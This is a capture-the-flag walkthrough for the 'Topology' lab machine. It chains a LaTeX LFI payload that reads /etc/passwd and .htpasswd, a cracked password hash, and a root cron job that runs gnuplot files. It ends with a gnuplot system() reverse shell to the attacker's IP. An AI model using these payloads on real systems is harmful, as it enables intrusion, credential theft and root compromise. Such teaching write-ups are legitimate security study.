

# Topology

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Difficulty: Easy

Classification: Official

## **Synopsis**

Topology is an Easy Difficulty Linux machine that showcases a LaTeX web application susceptible to a Local File Inclusion (LFI) vulnerability. Exploiting the LFI flaw allows for the retrieval of an .htpasswd file that contains a hashed password. By cracking the password hash, SSH access to the machine is obtained, revealing a root cronjob that executes gnuplot files. Crafting a malicious .plt file enables privilege escalation.

#### **Skills Required**

- Basic Web enumeration
- Basic Linux enumeration

#### **Skills Learned**

- LaTeX File Inclusion
- Gnuplot Injection

#### **Enumeration**

#### **Nmap**


```
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.217 | grep '^[0-9]' | cut -d '/' -f
1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.217
```

```
nmap -p$ports -sC -sV 10.10.11.217
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-12 11:11 EEST
Nmap scan report for 10.10.11.217
Host is up (0.091s latency).
         STATE SERVICE VERSION
P0RT
22/tcp
         open ssh
                         OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
   3072 dcbc3286e8e8457810bc2b5dbf0f55c6 (RSA)
   256 d9f339692c6c27f1a92d506ca79f1c33 (ECDSA)
  256 4ca65075d0934f9c4a1b890a7a2708d7 (ED25519)
80/tcp open http
                       Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Miskatonic University | Topology Group
|_http-server-header: Apache/2.4.41 (Ubuntu)
Nmap done: 1 IP address (1 host up) scanned in 14.65 seconds
```

An initial Nmap scan reveals an SSH service as well as an Apache web server listening on their respective default ports.

#### **HTTP**

We begin our enumeration by browsing to the website on port 80.



The page appears mostly static, however, there is one hyperlink referencing a LaTeX equation generator service, which redirects to the subdomain <code>latex.topology.htb</code>. We proceed to add both the sub- and top-level domain to our <code>/etc/hosts</code> file.

```
echo "10.10.11.217 topology.htb latex.topology.htb" | sudo tee -a /etc/hosts
```

We then click on the hyperlink, which redirects us to a LaTeX web application.

#### LaTeX

LaTeX is a typesetting system used for creating professional documents in academic and scientific fields. It focuses on content structure and formatting, allowing precise control over elements like equations and references. Users write documents using LaTeX commands, which are compiled into a final output document like a PDF. LaTeX streamlines document creation, ensures consistent typography and layout, and facilitates collaboration and version control.

We proceed to take a look at the web application.

#### LaTeX Equation Generator

Need to quickly generate a good looking equation for a website, like this?

$$x^n + y^n = z^n$$

Use this equation generator to create a .PNG file.

Square root

	ne math mode syntax in the text field nerate" will directly return a .PNG file t ).	
Enter LaTeX code here		Generate
Examples  Here are a few code examples that contain the basic math commands to make LaTeX typeset beautiful equations:		
Description	LaTeX code	Output
Fractions	\frac{x+5}{y-3}	$\frac{x+5}{y-3}$
Greek letters	\alpha \beta \gamma	$lphaeta\gamma$
Summations	\sum_{n=1}^\infty	$\sum_{n=1}^{\infty}$

The app's purpose is to enable the quick generation of PNG images, given a LaTex-parseable input. It is noted that the mode of use is LaTeX inline math mode, which we will keep in mind for later.


 $\sqrt[n]{1+x}$ 

While our first instinct might be to perform a LaTeX injection, we quickly find out that there is some filtering in place that disallows our payloads. For instance, attempting to read /etc/passwd using the \input directive, returns the following image:

\input{/etc/passwd}

# Illegal command detected. Sorry.

When enumerating the subdomain, we realise that there is no default index.php or index.html file, and that the site allows directory browsing. By removing the /equation.php URI from the URL, we can see an index of all other files in the webroot.



Among the files, we find two TeX files, which are typically used by LaTeX and contain the source code for creating documents using the LaTeX typesetting system. .tex files serve as input to the LaTeX compiler, which processes the code and produces a formatted document as output.

We first take a look at the equationtest.tex file, as we suspect that it might reveal information as to how the actual equation.php script works.

The file reads:

```
\documentclass{standalone}
\input{header}
\begin{document}

$ \int_{a}^b\int_{c}^d f(x,y)dxdy $
\end{document}
```

There is not much going on in this file, however, we notice that it includes the other Tex file that we saw, namely header.tex, which looks as follows:

```
% vdaisley's default latex header for beautiful documents
\usepackage[utf8]{inputenc} % set input encoding
\usepackage{graphicx} % for graphic files
\usepackage{eurosym} % euro currency symbol
\usepackage{times} % set nice font, tex default font is not my style
\usepackage{listings} % include source code files or print inline code
\usepackage{hyperref} % for clickable links in pdfs
\usepackage{mathtools,amssymb,amsthm} % more default math packages
\usepackage{mathptmx} % math mode with times font
```

Various other packages are included, but judging by the comments, the <code>listings</code> package appears to be the most interesting, since it can be used to include source code files, which sounds like there is a possibility for a Local File Inclusion ( LFI ).

Reading the package's <u>documentation</u>, we learn that the command <u>\lambdalsinputlisting</u> can be used to include the content of text files in the <u>LaTex</u> output. We use this on the web application, trying once more to include the <u>passwd</u> file.

```
\lstinputlisting{/etc/passwd}
```

```
The image "http://latex.topology.htb/equation.php?eqn=\%5Clstinputlisting\%7B\%2Fetc\%2Fpasswd\%7D\&submit="cannot be displayed because it contains errors.
```

After submitting the payload, we get an error stating that the image could not be generated.

We recall that the site mentions a certain Inline Math Mode, and that only one-liners are supported. Researching that specific mode, we learn that it is delimited either by \( \) and \( \) or by \$\) characters.

We therefore try the following payload:

```
$\lstinputlisting{/etc/passwd}$
```

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2: bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8: mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10: uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
 ww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38: Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
   :x:107:113:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:108:115::/run/uuidd:/usr/sbin/nologin
```

The payload is successful and we obtain a nice PNG render of the target's /etc/passwd file. Using this LFI, we can now proceed to enumerate other files on the target system.

#### **Foothold**

The use of subdomains like <code>latex.topology.htb</code> is interesting since there could be more virtual hosts (<code>vHosts</code>) configured on this webserver. We use the <code>LaTex LFI</code> to read the default <code>Apache</code> configuration, using the following payload:

```
$\lstinputlisting{/etc/apache2/sites-available/000-default.conf}$
```

```
# The ServerName directive sets the request scheme, hostname and port that
        # the server uses to identify itself. This is used when creating
        # redirection URLs. In the context of virtual hosts, the ServerName
        # specifies what hostname must appear in the request's Host: header to
        # match this virtual host. For the default virtual host (this file) this
        # value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
        ServerName dev.topology.htb
        ServerAdmin vdaisley@topology.htb
        DocumentRoot /var/www/dev
        # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
        # error, crit, alert, emerg.
        # It is also possible to configure the loglevel for particular
        # modules, e.g.
        #LogLevel info ssl:warn
        #ErrorLog ${APACHE_LOG_DIR}/dev_error.log
        #CustomLog ${APACHE_LOG_DIR}/dev_access.log common
        # For most configuration files from conf-available/, which are
        # enabled or disabled at a global level, it is possible to
        # include a line for only one particular virtual host. For example the
        # following line enables the CGI configuration for this host only
        # after it has been globally disabled with "a2disconf".
        #Include conf-available/serve-cgi-bin.conf
</VirtualHost>
<VirtualHost *:80>
        # The ServerName directive sets the request scheme, hostname and port that
        # the server uses to identify itself. This is used when creating
        # redirection URLs. In the context of virtual hosts, the ServerName
        # specifies what hostname must appear in the request's Host: header to
        # match this virtual host. For the default virtual host (this file) this
        # value is not decisive as it is used as a last resort host regardless.
        # However, you must set it for any further virtual host explicitly.
        ServerName stats.topology.htb
        ServerAdmin vdaisley@topology.htb
        DocumentRoot /var/www/stats
        # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
        # error, crit, alert, emerg.
        # It is also possible to configure the loglevel for particular
        # modules, e.g.
        #LogLevel info ssl:warn
        #ErrorLog ${APACHE_LOG_DIR}/stats_error.log
        #CustomLog ${APACHE_LOG_DIR}/stats_access.log common
        # For most configuration files from conf-available/, which are
        # enabled or disabled at a global level, it is possible to
        # include a line for only one particular virtual host. For example the
        # following line enables the CGI configuration for this host only
        # after it has been globally disabled with "a2disconf".
        #Include conf-available/serve-cgi-bin.conf
</VirtualHost>
```

<VirtualHost \*:80>


The image is rather large, but among the output, we discover that there are two other subdomains configured, namely stats and dev.

We add both to our /etc/hosts file, before proceeding to enumerate them.


```
echo "10.10.11.217 stats.topology.htb dev.topology.htb" | sudo tee -a /etc/hosts
```



---



There isn't much else to look at, so we proceed to the dev subdomain.



We get an HTTP basic authentication prompt. Since we know the webroot for dev.topology.htb, however, we can try to access the .htaccess file that is typically used to secure directories with Apache.

We use the following LFI payload back on the latex subdomain:

```
$\lstinputlisting{/var/www/dev/.htaccess}$
```

```
AuthName "Under construction"
AuthType Basic
AuthUserFile /var/www/dev/.htpasswd
Require valid-user
```

The file-read is successful and reveals that the credentials are found in the same location, inside the .htpasswd file, which we proceed to read.

```
$\lstinputlisting{/var/www/dev/.htpasswd}$
```

#### vdaisley: \$apr1\$10NUB/S2\$58eeNVirnRDB5zAIbIxTY0

We retrieve the file and get a PNG containing a hash for the vdaisley user. We manually type out the hash and save it in a file in order to attempt to crack it using JohnTheRipper.

```
echo 'vdaisley:$apr1$10NUB/S2$58eeNVirnRDB5zAIbIxTYO' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8

Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 ASIMD 4x2])

Will run 2 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

calculus20 (vdaisley)

1g 0:00:00:16 DONE (2023-06-12 13:44) 0.05899g/s 58736p/s 58736c/s 58736C/s calebd1..calasag

Use the "--show" option to display all of the cracked passwords reliably

Session completed.
```

It takes but a few seconds and the hash is cracked to reveal the password calculus20.

Using the password to log into the dev subdomain only reveals a boilerplate website, so we attempt to use the credentials to SSH into the machine as vdaisley.

ssh vdaisley@topology.htb

```
ssh vdaisley@topology.htb

vdaisley@topology.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-150-generic x86_64)

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Last login: Tue Jun 6 08:13:40 2023 from 10.10.14.46
vdaisley@topology:~$ id
uid=1007(vdaisley) gid=1007(vdaisley) groups=1007(vdaisley)
```

The credentials are valid, and we have successfully obtained a shell as vdaisley.

The user flag can be found at /home/vdaisley/user.txt.

### **Privilege Escalation**

We start our enumeration by uploading the <u>pspy</u> binary in order to inspect running processes and potential cronjobs.

We download the binary to our **local** machine and start a **Python HTTP** server in the same directory.

```
python3 -m http.server 8000
```

We then use wget on the target machine to download the file to the /tmp directory.

```
cd /tmp
wget 10.10.14.40:8000/pspy64
```

After applying execution permissions to the binary, we proceed to run it.

```
chmod +x ./pspy64
./pspy64
```

```
• • •
vdaisley@topology:/tmp$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
<...SNIP...>
2023/06/12 06:58:01 CMD: UID=0
                                  PID=5237
                                             /bin/sh /opt/gnuplot/getdata.sh
2023/06/12 06:58:01 CMD: UID=0
                                  PID=5236
2023/06/12 06:58:01 CMD: UID=0
                                  PID=5235
                                               find /opt/gnuplot -name *.plt -exec gnuplot {};
2023/06/12 06:58:01 CMD: UID=0
                                  PID=5234
                                             /bin/sh /opt/gnuplot/getdata.sh
2023/06/12 06:58:01 CMD: UID=0
                                              / /bin/sh -c find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \;
                                  PID=5233
2023/06/12 06:58:01 CMD: UID=0
                                  PID=5232
                                              /bin/sh -c /opt/gnuplot/getdata.sh
2023/06/12 06:58:01 CMD: UID=0
                                  PID=5240
                                              | gnuplot /opt/gnuplot/loadplot.plt
2023/06/12 06:58:01 CMD: UID=0
                                  PID=5245
2023/06/12 06:58:01 CMD: UID=??? PID=5244
2023/06/12 06:58:01 CMD: UID=0
                                  PID=5241
                                             | gnuplot /opt/gnuplot/networkplot.plt
```

After waiting for a few minutes, we discover a cronjob that is running a certain <code>getdata.sh</code> script inside the <code>/opt/gnuplot</code> directory. Crucially, the cronjob is being run by the <code>root</code> user, as indicated by the <code>UID=0</code> column.

The script appears to call the subsequent find command, which essentially does the following:

- It initiates a search command using the find utility.
- The search starts from the directory /opt/gnuplot.
- It looks for files with the extension <code>.plt</code> within that directory and its subdirectories.
- For each found file, it executes the command <code>gnuplot {}</code> where <code>{}</code> represents the path to the found file.
- The semicolon; at the end of the line signifies the end of the exec command.

We proceed to take a look at the directory's permissions.

```
ls -ld /opt/gnuplot
```

```
vdaisley@topology:~$ ls -ld /opt/gnuplot/
drwx-wx-wx 2 root root 4096 Jun 12 08:00 /opt/gnuplot/
```

While we cannot read the directory's contents, we can write files to it. Knowing that any <code>.plt</code> files will be executed by the <code>root</code> user's cronjob, opens up the opportunity for privilege escalation.

We research some <u>gnuplot commands</u> and find that there is a <u>system</u> command that executes system commands. A minimum working <u>gnuplot</u> script that writes the results of the <u>id</u> command, for instance, would look like this:

```
set print "/tmp/output.txt"
cmdout = system("id")
print cmdout
```

We save the above Proof of Concept (PoC) as test.plt inside the /opt/gnuplot directory and wait for the cronjob to trigger.

After a few seconds, we find that the output.txt file has been created:

```
cat /tmp/output.txt
```

```
vdaisley@topology:~$ cat /tmp/output.txt
uid=0(root) gid=0(root) groups=0(root)
```

Having confirmed that we can execute system commands as root, gaining an interactive shell is now trivial. We use the same payload template and inject a command that will send a reverse shell to a listener on our machine on port [4444].

We start by firing up the listener.

```
nc -nlvp 4444
```

Next, we create a new .plt file containing the reverse shell payload, and save it to /opt/gnuplot/pwn.plt.

```
cmdout = system("/bin/bash -c '/bin/sh -i >& /dev/tcp/10.10.14.40/4444 0>&1'")
print cmdout
```

We wait once more and after about a minute we receive a callback on our listener:

```
nc -nlvp 4444

listening on [any] 4444 ...

connect to [10.10.14.40] from (UNKNOWN) [10.10.11.217] 58078

/bin/sh: 0: can't access tty; job control turned off

# id

uid=0(root) gid=0(root) groups=0(root)
```

We have successfully obtained a shell as root. The final flag can be found at /root/root.txt.